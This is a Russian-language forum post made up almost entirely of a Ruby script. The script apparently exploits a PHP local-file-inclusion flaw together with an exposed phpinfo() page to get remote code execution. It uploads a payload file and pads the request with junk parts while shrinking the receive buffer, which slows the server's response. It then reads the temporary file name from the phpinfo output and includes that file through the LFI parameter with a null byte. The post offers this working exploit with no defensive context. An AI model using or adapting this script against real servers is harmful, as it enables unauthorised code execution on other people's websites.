Показать сообщение отдельно

  #6  
Старый 20.09.2013, 16:05
Unknown
Новичок
Регистрация: 21.06.2005
Сообщений: 1
Провел на форуме:
0

Репутация: 0
По умолчанию

Как то так, не знаю как объяснить.

Код:
require 'socket'
require 'uri'
require 'net/http'

def main()

	#setting up
	puts "SETTING UP"
	
	target = 'http://www/phpinfo.php'										# phpinfo()
	lfi = 'http://www/include.php?file='									# LFI template like http://www.host.com/data/lfi.php?location={LFI}
	payloadLocation = 'payload.txt'											# payload
	junkFilesCount = 50														# tail
	recvBufferSize = 1024													# receive buffer size

	# just echo for u
	printDotted(' -target:')
	print("[#{target}]\n");
	
	printDotted(' -lfi:')
	print("[#{lfi}]\n");
	
	printDotted(' -payload:')
	print("[#{payloadLocation}]\n");
	
	printDotted(' -junk files count:')
	print("[#{junkFilesCount}]\n");
	
	printDotted(' -receive buffer size:')
	print("[#{recvBufferSize}]\n");
	
	# try to load payload
	begin
		printDotted('LOAD PAYLOAD')
		payload = IO.read(payloadLocation)
		print("[OK]\n")
	rescue
		print("[ERROR]\n")
		return
	end

	# payload
    file = "-----------------------------89q8834898293409rw29\r\n"
    file += "Content-Disposition: form-data; name=\"file_loader\"; filename=\"\r\npayload.txt\"\r\n"
    file += "Content-Type: text/plain\r\n\r\n"
    file += "#{payload}\r\n"
    file += "-----------------------------89q8834898293409rw29\r\n"
			
    # generate junk files
	printDotted('PREPARE JUNK')
	
	curJunkFiles = 0;
	
	for junkFiles in 0..junkFilesCount
		file += "-----------------------------89q8834898293409rw29\r\n"
		file += "Content-Disposition: form-data; name=\"file" + rand(10000).to_s + "\"; filename=\"\r\njunk" + rand(1000000).to_s * 10000 + ".txt\"\r\n"
		file += "Content-Type: text/plain\r\n\r\n"
		file += "superslow\r\n"
		file += "-----------------------------89q8834898293409rw29\r\n"
	end
	
	print("[OK]\n")
	
	printDotted('prepare headers')
	
	targetURI = URI(target)
	
	query = targetURI.path
	
	# add query if not empty
	if !targetURI.query.nil?
		query += '?' + targetURI.query
	end
	
	# headers
	req = "POST #{query} HTTP/1.0\r\n"
	req += "Content-Type: multipart/form-data; boundary=---------------------------89q8834898293409rw29\r\n"
	req += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
	req += "User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:19.0) Gecko/20100101 Firefox/19.0\r\n"
	req += "Host: #{targetURI.host}\r\n"
	req += "Content-Length: #{file.length}\r\n"
	req += "Connection: Close\r\n\r\n"
	
	req += file
	
	print("[OK]\n")

	# create tcp socket	
	sock = Socket.new(:INET, :STREAM)
	
	# and set receive buffer size
	sock.setsockopt(Socket::SOL_SOCKET, Socket::SO_RCVBUF, recvBufferSize)	
	
	printDotted('connecting to')
	
	begin
		sock.connect(Socket.pack_sockaddr_in(80, targetURI.host))
	rescue
		print("[ERROR]\n")
		return false
	end
	
	print("[OK]\n")

	sock.write(req)
	
	data = ''
	payloadFound = false
	loaderFound = false
	payloadFileName = ''
	loaderFileName = ''
	
	while true
		
		printDotted("get next #{recvBufferSize} bytes")
		
		tmpData = sock.recv(recvBufferSize)
		
		print("[OK]\n")
		
		if tmpData.nil?
			break
		end
		
		data += tmpData
		
		tmpFileName = data.scan(/\[name\]\s=>\spayload.txt\n\s\s\s\s\[type\]\s=>\stext\/plain\n\s\s\s\s\[tmp_name\]\s=>\s(.*?)\n\s\s\s\s\[error\]/)
		
		if tmpFileName.length > 0
			payloadFound = true
			payloadFileName = tmpFileName[0][0].clone
			
			printDotted('payload file location:')
			print('[' + payloadFileName + ']' + "\n")
			
			lfi += payloadFileName + '%00'
					
			lfiURI = URI(lfi)
	
			printDotted("Include #{payloadFileName}")
			
			response = Net::HTTP.get_response(lfiURI);
	
			if !response.is_a?(Net::HTTPOK) then 
				print("[ERROR]\n")
				return
			else
				print("[OK]\n")
			end			
			
			return
		end
		
	end
end

def printDotted(msg)
	print msg + "." * (50 - msg.length)
end

main()
 
Ответить с цитированием